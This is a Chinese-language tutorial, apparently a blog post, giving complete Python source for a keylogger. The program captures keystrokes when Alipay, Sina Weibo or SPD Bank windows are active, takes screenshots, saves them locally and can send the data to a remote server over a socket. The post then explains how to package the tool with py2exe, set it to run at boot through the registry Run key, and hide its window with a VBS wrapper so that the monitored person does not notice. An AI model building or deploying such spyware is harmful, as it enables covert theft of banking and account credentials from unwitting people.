一、代碼部分:獲取用戶輸入信息,並與截圖一起保存到XX目錄下
# -*- coding: utf-8 -*- #
import
pythoncom
import
pyHook
import
time
import
socket
from
PIL
import
ImageGrab
#
#如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發回給服務器
#
def
send_msg_to_server(msg):
host
=
""
port
=
1234
buf_size
=
1024
addr
=
(host,port)
if
len
(msg)>
0
:
tcp_client_sock
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp_client_sock.connect(addr)
info
=
time.strftime(
'%Y%m%d%H%M%S'
,time.localtime(time.time()))
+
' from '
+
socket.gethostname()
+
':'
tcp_client_sock.sendall(info
+
msg)
tcp_client_sock.close()
#
#也可以將獲取到的信息保存到本地文件下
#
def
write_msg_to_txt(msg):
f
=
open
(
'D:/workspace/mytest/pyhook/media/monitor.txt'
,
'a'
)
f.write(msg
+
'\r\n'
)
f.close()
def
onMouseEvent(event):
# 監聽鼠標事件
global
MSG
if
len
(MSG)!
=
0
:
#send_msg_to_server(MSG)
write_msg_to_txt(MSG)
MSG
=
''
pic_name
=
time.strftime(
'%Y%m%d%H%M%S'
,time.localtime(time.time()))
#將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)
pic
=
ImageGrab.grab()
pic.save(
'D:/workspace/mytest/pyhook/media/mouse_%s.png'
%
pic_name)
return
True
def
onKeyboardEvent(event):
#監聽鍵盤事件
global
MSG
title
=
event.WindowName.decode(
'GBK'
)
#通過網站title,判斷當前網站是否是“監聽目標”
if
title.find(u
"支付寶"
) !
=
-
1
or
title.find(u
'新浪微博'
)!
=
-
1
or
title.find(u
'浦發銀行'
)!
=
-
1
:
#Ascii: 8-Backspace , 9-Tab ,13-Enter
if
(
127
>
=
event.Ascii >
31
)
or
(event.Ascii
=
=
8
):
MSG
+
=
chr
(event.Ascii)
if
(event.Ascii
=
=
9
)
or
(event.Ascii
=
=
13
):
#send_msg_to_remote(MSG)
write_msg_to_txt(MSG)
MSG
=
''
#屏幕抓圖實現
pic_name
=
time.strftime(
'%Y%m%d%H%M%S'
,time.localtime(time.time()))
pic
=
ImageGrab.grab()
#保存成為以日期命名的圖片
pic.save(
'D:/workspace/mytest/pyhook/media/keyboard_%s.png'
%
pic_name)
return
True
if
__name__
=
=
"__main__"
:
MSG
=
''
#創建hook句柄
hm
=
pyHook.HookManager()
#監控鼠標
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#監控鍵盤
hm.KeyDown
=
onKeyboardEvent
hm.HookKeyboard()
#循環獲取消息
pythoncom.PumpMessages()
二、用py2exe將腳本打包:
新建一個py文件setup.py,內容如下:
from
distutils.core
import
setup
import
py2exe
setup(console
=
[
"monitor.py"
])
#setup(windows=["monitor.py"])
命令行執行以下命令:
python setup.py py2exe
三、將該程序設置為開機自動啟動:
法①:
將需要開機啟動的文件(創建一個快捷方式,然后)放到“開始
/
所有程序
/
啟動”目錄下
法②:
修改注冊表:命令行— regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一個“字符串值”,然后編輯:設置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日志信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)
法③:
新建一個 .vbs文件,內容如下:
set
wscriptObj
=
CreateObject(
"Wscript.Shell"
)
wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",
0
雙擊運行該vbs文件,則monitor.exe就在后台啟動了(不會彈出一個大黑框)。
然后參考法①、② 把該vbs設置成開機啟動即可。
附言:
1
、該程序涉及到一些模塊都需要自己安裝一下;
2
、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3
、代碼僅供分享、學習,請勿干非法的事;
4
、我也是初學,所以請隨便噴;